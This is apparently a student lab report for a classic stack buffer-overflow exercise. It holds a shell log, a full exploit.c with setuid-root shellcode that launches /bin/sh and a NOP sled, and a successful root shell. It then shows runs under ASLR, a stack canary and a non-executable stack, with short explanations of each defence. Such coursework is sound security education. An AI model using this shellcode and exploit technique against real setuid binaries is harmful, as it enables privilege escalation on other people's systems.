Logan Borer Doug Calmes

[11/08/2016 08:02] seed@ubuntu:~/Documents$ su root

Password:

[11/08/2016 08:02] root@ubuntu:/home/seed/Documents# gcc -o stack -z execstack -fno-stack-protector stack.c

[11/08/2016 08:03] root@ubuntu:/home/seed/Documents# chmod 4755 stack

[11/08/2016 08:03] root@ubuntu:/home/seed/Documents# exit

exit

[11/08/2016 08:03] seed@ubuntu:~/Documents$ cat exploit.c

/\* exploit.c \*/

/\* A program that creates a file containing code for launching shell\*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[]=

// Set effective UID to root

"\x31\xdb" /\* xorl %ebx,%ebx\*/

"\x31\xc0" /\* xorl %eax,%eax\*/

"\xb0\xd5" /\* movb $0xd5,%al\*/

"\xcd\x80" /\* int $0x80\*/

// Launch shell

"\x31\xc0" /\* xorl %eax,%eax \*/

"\x50" /\* pushl %eax\*/

"\x68""//sh" /\* pushl $0x68732f2f \*/

"\x68""/bin" /\* pushl $0x6e69622f \*/

"\x89\xe3" /\* movl %esp,%ebx \*/

"\x50" /\* pushl %eax\*/

"\x53" /\* pushl %ebx\*/

"\x89\xe1" /\* movl %esp,%ecx \*/

"\x99" /\* cdq\*/

"\xb0\x0b" /\* movb $0x0b,%al \*/

"\xcd\x80" /\* int $0x80\*/

;

// Get Stack Pointer ussing assembly

unsigned long get\_sp() {

\_\_asm\_\_("movl %esp,%eax");

}

void main(int argc, char \*\*argv) {

char buffer[517];

FILE \*badfile;

/\* Initialize buffer with 0x90 (NOP instruction) \*/

memset(&buffer, 0x90, 517);

/\* You need to fill the buffer with appropriate contents here \*/

int offset = 260;

int difference = sizeof(buffer) - sizeof(shellcode) - 1;

long \*ptr = (long\*)buffer;

long retaddr = get\_sp() + offset;

printf("Return Addr: %p\nAddress: %p\n",(void \*)get\_sp(),(void \*)retaddr);

// Fill the first few bytes of the buffer with the return address

int i = 0;

for(i = 0; i < 24; i++)

\*(ptr++) = retaddr;

// Copy the shellcode to the buffer at the end and add a null terminator

memcpy(buffer + difference, shellcode, sizeof(shellcode));

buffer[sizeof(buffer) - 1] = '\0';

/\* Save the contents to the file "badfile" \*/

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

[11/08/2016 08:03] seed@ubuntu:~/Documents$

[11/08/2016 08:03] seed@ubuntu:~/Documents$

[11/08/2016 08:03] seed@ubuntu:~/Documents$

[11/08/2016 08:03] seed@ubuntu:~/Documents$ gcc -o exploit exploit.c

[11/08/2016 08:03] seed@ubuntu:~/Documents$ ./exploit

Return Addr: 0xbffff138

Address: 0xbffff23c

[11/08/2016 08:03] seed@ubuntu:~/Documents$ ./stack

# id

uid=0(root) gid=1000(seed) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),130(wireshark),1000(seed)

# whoami

root

# exit

[11/08/2016 08:04] seed@ubuntu:~/Documents$

[11/08/2016 08:04] seed@ubuntu:~/Documents$

[11/08/2016 08:04] seed@ubuntu:~/Documents$ su root

Password:

[11/08/2016 08:04] root@ubuntu:/home/seed/Documents# /sbin/sysctl -w kernel.randomize\_va\_space=2

kernel.randomize\_va\_space = 2

[11/08/2016 08:04] root@ubuntu:/home/seed/Documents# /sbin/sysctl -w kernel.randomize\_va\_space=0

kernel.randomize\_va\_space = 0

[11/08/2016 08:05] root@ubuntu:/home/seed/Documents# exit

exit

[11/08/2016 08:05] seed@ubuntu:~/Documents$ su

Password:

[11/08/2016 08:05] root@ubuntu:/home/seed/Documents# gcc -o stack -z execstack stack.c

[11/08/2016 08:06] root@ubuntu:/home/seed/Documents# exit

exit

[11/08/2016 08:06] seed@ubuntu:~/Documents$ ./exploit

Return Addr: 0xbffff138

Address: 0xbffff23c

[11/08/2016 08:06] seed@ubuntu:~/Documents$ ./stack

\*\*\* stack smashing detected \*\*\*: ./stack terminated

======= Backtrace: =========

/lib/i386-linux-gnu/libc.so.6(\_\_fortify\_fail+0x45)[0xb7f240e5]

/lib/i386-linux-gnu/libc.so.6(+0x10409a)[0xb7f2409a]

./stack[0x8048513]

[0xbffff23c]

[0x90909090]

======= Memory map: ========

08048000-08049000 r-xp 00000000 08:01 1582818 /home/seed/Documents/stack

08049000-0804a000 r-xp 00000000 08:01 1582818 /home/seed/Documents/stack

0804a000-0804b000 rwxp 00001000 08:01 1582818 /home/seed/Documents/stack

0804b000-0806c000 rwxp 00000000 00:00 0 [heap]

b7def000-b7e0b000 r-xp 00000000 08:01 2360149 /lib/i386-linux-gnu/libgcc\_s.so.1

b7e0b000-b7e0c000 r-xp 0001b000 08:01 2360149 /lib/i386-linux-gnu/libgcc\_s.so.1

b7e0c000-b7e0d000 rwxp 0001c000 08:01 2360149 /lib/i386-linux-gnu/libgcc\_s.so.1

b7e1f000-b7e20000 rwxp 00000000 00:00 0

b7e20000-b7fc3000 r-xp 00000000 08:01 2360304 /lib/i386-linux-gnu/libc-2.15.so

b7fc3000-b7fc5000 r-xp 001a3000 08:01 2360304 /lib/i386-linux-gnu/libc-2.15.so

b7fc5000-b7fc6000 rwxp 001a5000 08:01 2360304 /lib/i386-linux-gnu/libc-2.15.so

b7fc6000-b7fc9000 rwxp 00000000 00:00 0

b7fd9000-b7fdd000 rwxp 00000000 00:00 0

b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso]

b7fde000-b7ffe000 r-xp 00000000 08:01 2364405 /lib/i386-linux-gnu/ld-2.15.so

b7ffe000-b7fff000 r-xp 0001f000 08:01 2364405 /lib/i386-linux-gnu/ld-2.15.so

b7fff000-b8000000 rwxp 00020000 08:01 2364405 /lib/i386-linux-gnu/ld-2.15.so

bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]

Aborted (core dumped)

[11/08/2016 08:06] seed@ubuntu:~/Documents$

[11/08/2016 08:06] seed@ubuntu:~/Documents$

[11/08/2016 08:06] seed@ubuntu:~/Documents$ su

Password:

[11/08/2016 08:06] root@ubuntu:/home/seed/Documents# gcc -o stack -fno-stack-protector -z noexecstack stack.c

[11/08/2016 08:07] root@ubuntu:/home/seed/Documents# exit

exit

[11/08/2016 08:07] seed@ubuntu:~/Documents$ ./exploit

Return Addr: 0xbffff138

Address: 0xbffff23c

[11/08/2016 08:07] seed@ubuntu:~/Documents$ ./stack

Segmentation fault (core dumped)

[11/08/2016 08:07] seed@ubuntu:~/Documents$

[11/08/2016 08:07] seed@ubuntu:~/Documents$

[11/08/2016 08:07] seed@ubuntu:~/Documents$

[11/08/2016 08:07] seed@ubuntu:~/Documents$ hexdump badfile

0000000 f23c bfff f23c bfff f23c bfff f23c bfff

\*

0000060 9090 9090 9090 9090 9090 9090 9090 9090

\*

00001e0 9090 3190 31db b0c0 cdd5 3180 50c0 2f68

00001f0 732f 6868 622f 6e69 e389 5350 e189 b099

0000200 cd0b 0080 0000

0000205

[11/08/2016 08:07] seed@ubuntu:~/Documents$

Task 1: See above shell log for program listing and execution.

Task 2: Running the program with ASLR enabled makes it necessary to run the program multiple times in hopes that the address spaces line up. There is always a chance that address will hit on any given execution, or fall through to a no-op and continue execution.

Task 3: It detected a stack smashing attempt and halted the execution of the program. The stack guard uses a canary in order to detect if changes have been made to the stack and prevent overflow attacks.

Task 4: The program threw a segmentation fault and halted the execution of the application. Because the addresses that were on the stack were overwritten, it improperly attempted execution outside of the scope of the application and failed to return.